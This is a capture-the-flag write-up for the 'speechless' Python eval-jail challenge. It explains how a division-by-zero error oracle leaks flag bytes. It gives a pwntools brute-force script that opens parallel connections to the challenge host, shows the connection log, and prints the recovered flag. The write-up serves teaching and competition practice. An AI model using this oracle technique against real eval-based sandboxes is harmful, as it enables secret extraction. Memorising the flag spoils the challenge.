Infobahn CTF'25 — speechless
wow i'm in jail??? i'm speechless...
nc speechless.challs.infobahnc.tf 1337
We're given a Python server that looks like this:
py
1#!/usr/bin/python3
2
3allowed = "ab.=-/"
4
5with open("flag.txt", 'rb') as f:
6 flag = f.read()
7
8a = None
9while True:
10 expr = input(">>> ")
11
12 if not all(char in allowed for char in expr):
13 print('you need to try harder')
14 continue
15
16 if any(f"{blocked}==" in expr or f"=={blocked}" in expr for blocked in "ab"):
17 print('stop comparing the flag')
18 continue
19
20 try:
21 a = eval(expr, {"a": a} | {"b" * (index + 1): char for index, char in enumerate(flag)})
22 except:
23 a = None
24 print('stop breaking things >:(')We're given a strange eval environment with a stateful a variable, and a bunch of b vars such that b is the first byte of the flag, bb is the second byte, and so on.
Note that we can only use ab.=-/ as characters, and the only information we can leak is when our eval throws an error.
Then, the key idea is this: we can use the except: handler as an error oracle so long as we can throw an error if and only if a b variable matches our guess. One way to do this is to conditionally trigger a divide by 0 exception:
- Evaluate
b/b->a = 1 - Evaluate
b - a, which will seta = 0ifb = 1, ora > 0otherwise. - Evaluate
b / a, which will throw an error iffa = 0in the previous step; this tells us ifb = 1.
We can repeat those steps to query b - a - a - ... for any value of b, and we can swap b for bb, bbb, etc. to query each of the other characters of the flag.
For whatever reason, each query takes a decent amount of time on remote, making a character-by-character approach take a bit of time. To expedite the process, we can query how many characters are in the flag by repeatedly setting a = bbb... until we hit a NameError for referencing an undefined variable:
bash
1ky28059@ky28059:~$ nc speechless.challs.infobahnc.tf 1337
2== proof-of-work: disabled ==
3>>> b
4>>> bb
5>>> bbb
6>>> bbbb
7...
8>>> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
9>>> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
10>>> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
11>>> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
12stop breaking things >:(so the last valid index is 55. Once we know that, here's a script that brute forces each character of the flag simultaneously by spawning 55 processes:
py
1from multiprocessing import Pool
2
3import pwn
4
5
6def query(conn, index, val):
7 conn.sendline(b'b/b') # a is 1
8 conn.recvuntil(b'>>>')
9 conn.sendline(b'b' * index + b'-a' * val) # a = bbb - val
10 conn.recvuntil(b'>>>')
11 conn.sendline(b'b/a') # a = b / (bbb - val)
12 res = conn.recvuntil(b'>>>').decode()
13 return 'stop breaking things >:(' in res
14
15
16def try_char(index):
17 conn = pwn.remote('speechless.challs.infobahnc.tf', 1337)
18 conn.recvuntil(b'>>>')
19
20 for j in range(32, 128):
21 if query(conn, index, j):
22 return j
23
24
25if __name__ == '__main__':
26 a = Pool(processes=55).map(try_char, range(1, 55))
27 print(a)Code
1[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
2[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
3[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
4[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
5[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
6[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
7[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
8[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
9[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
10[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
11[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
12[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
13[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
14[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
15[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
16[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
17[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
18[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
19[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
20[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
21[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
22[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
23[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
24[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
25[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
26[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
27[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
28[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
29[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
30[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
31[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
32[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
33[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
34[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
35[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
36[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
37[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
38[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
39[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
40[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
41[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
42[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
43[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
44[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
45[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
46[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
47[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
48[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
49[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
50[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
51[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
52[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
53[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
54[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
55[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
56[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
57[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
58[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
59[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
60[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
61[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
62[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
63[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
64[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
65[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
66[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
67[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
68[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
69[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
70[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
71[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
72[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
73[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
74[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
75[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
76[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
77[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
78[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
79[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
80[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
81[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
82[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
83[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
84[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
85[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
86[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
87[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
88[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
89[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
90[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
91[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
92[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
93[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
94[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
95[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
96[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
97[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
98[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
99[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
100[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
101[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
102[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
103[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
104[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
105[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
106[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
107[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
108[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
109[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
110[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
111[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
112[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
113[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
114[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
115[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
116[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
117[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
118[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
119[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
120[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
121[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
122[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
123[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
124[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
125[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
126[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
127[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
128[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
129[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
130[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
131[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
132[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
133[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
134[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
135[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
136[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
137[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
138[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
139[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
140[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
141[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
142[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
143[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
144[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
145[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
146[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
147[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
148[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
149[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
150[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
151[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
152[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
153[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
154[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
155[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
156[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
157[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
158[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
159[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
160[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
161[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
162[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
163[*] Closed connection to speechless.challs.infobahnc.tf port 1337
164[*] Closed connection to speechless.challs.infobahnc.tf port 1337
165[*] Closed connection to speechless.challs.infobahnc.tf port 1337
166[*] Closed connection to speechless.challs.infobahnc.tf port 1337
167[*] Closed connection to speechless.challs.infobahnc.tf port 1337
168[*] Closed connection to speechless.challs.infobahnc.tf port 1337
169[*] Closed connection to speechless.challs.infobahnc.tf port 1337
170[*] Closed connection to speechless.challs.infobahnc.tf port 1337
171[*] Closed connection to speechless.challs.infobahnc.tf port 1337
172[*] Closed connection to speechless.challs.infobahnc.tf port 1337
173[*] Closed connection to speechless.challs.infobahnc.tf port 1337
174[*] Closed connection to speechless.challs.infobahnc.tf port 1337
175[*] Closed connection to speechless.challs.infobahnc.tf port 1337
176[*] Closed connection to speechless.challs.infobahnc.tf port 1337
177[*] Closed connection to speechless.challs.infobahnc.tf port 1337
178[*] Closed connection to speechless.challs.infobahnc.tf port 1337
179[*] Closed connection to speechless.challs.infobahnc.tf port 1337
180[*] Closed connection to speechless.challs.infobahnc.tf port 1337
181[*] Closed connection to speechless.challs.infobahnc.tf port 1337
182[*] Closed connection to speechless.challs.infobahnc.tf port 1337
183[*] Closed connection to speechless.challs.infobahnc.tf port 1337
184[*] Closed connection to speechless.challs.infobahnc.tf port 1337
185[*] Closed connection to speechless.challs.infobahnc.tf port 1337
186[*] Closed connection to speechless.challs.infobahnc.tf port 1337
187[*] Closed connection to speechless.challs.infobahnc.tf port 1337
188[*] Closed connection to speechless.challs.infobahnc.tf port 1337
189[*] Closed connection to speechless.challs.infobahnc.tf port 1337
190[*] Closed connection to speechless.challs.infobahnc.tf port 1337
191[*] Closed connection to speechless.challs.infobahnc.tf port 1337
192[*] Closed connection to speechless.challs.infobahnc.tf port 1337
193[*] Closed connection to speechless.challs.infobahnc.tf port 1337
194[*] Closed connection to speechless.challs.infobahnc.tf port 1337
195[*] Closed connection to speechless.challs.infobahnc.tf port 1337
196[*] Closed connection to speechless.challs.infobahnc.tf port 1337
197[*] Closed connection to speechless.challs.infobahnc.tf port 1337
198[*] Closed connection to speechless.challs.infobahnc.tf port 1337
199[*] Closed connection to speechless.challs.infobahnc.tf port 1337
200[*] Closed connection to speechless.challs.infobahnc.tf port 1337
201[*] Closed connection to speechless.challs.infobahnc.tf port 1337
202[*] Closed connection to speechless.challs.infobahnc.tf port 1337
203[*] Closed connection to speechless.challs.infobahnc.tf port 1337
204[*] Closed connection to speechless.challs.infobahnc.tf port 1337
205[*] Closed connection to speechless.challs.infobahnc.tf port 1337
206[*] Closed connection to speechless.challs.infobahnc.tf port 1337
207[*] Closed connection to speechless.challs.infobahnc.tf port 1337
208[*] Closed connection to speechless.challs.infobahnc.tf port 1337
209[*] Closed connection to speechless.challs.infobahnc.tf port 1337
210[*] Closed connection to speechless.challs.infobahnc.tf port 1337
211[*] Closed connection to speechless.challs.infobahnc.tf port 1337
212[*] Closed connection to speechless.challs.infobahnc.tf port 1337
213[*] Closed connection to speechless.challs.infobahnc.tf port 1337
214[*] Closed connection to speechless.challs.infobahnc.tf port 1337
215[*] Closed connection to speechless.challs.infobahnc.tf port 1337
216[*] Closed connection to speechless.challs.infobahnc.tf port 1337
217[105, 110, 102, 111, 98, 97, 104, 110, 123, 105, 95, 99, 97, 110, 39, 116, 95, 98, 101, 108, 105, 101, 118, 101, 95, 105, 95, 117, 115, 101, 100, 95, 101, 108, 108, 105, 112, 115, 105, 115, 95, 105, 110, 95, 97, 95, 106, 97, 105, 108, 95, 46, 46, 46]
218
219Process finished with exit code 0and we get the flag:
py
1>>> ''.join([chr(x) for x in [105, 110, 102, 111, 98, 97, 104, 110, 123, 105, 95, 99, 97, 110, 39, 116, 95, 98, 101, 108, 105, 101, 118, 101, 95, 105, 95, 117, 115, 101, 100, 95, 101, 108, 108, 105, 112, 115, 105, 115, 95, 105, 110, 95, 97, 95, 106, 97, 105, 108, 95, 46, 46, 46]])
2"infobahn{i_can't_believe_i_used_ellipsis_in_a_jail_..."(there was an off-by-one in the script, but luckily we know the last character is } 😅)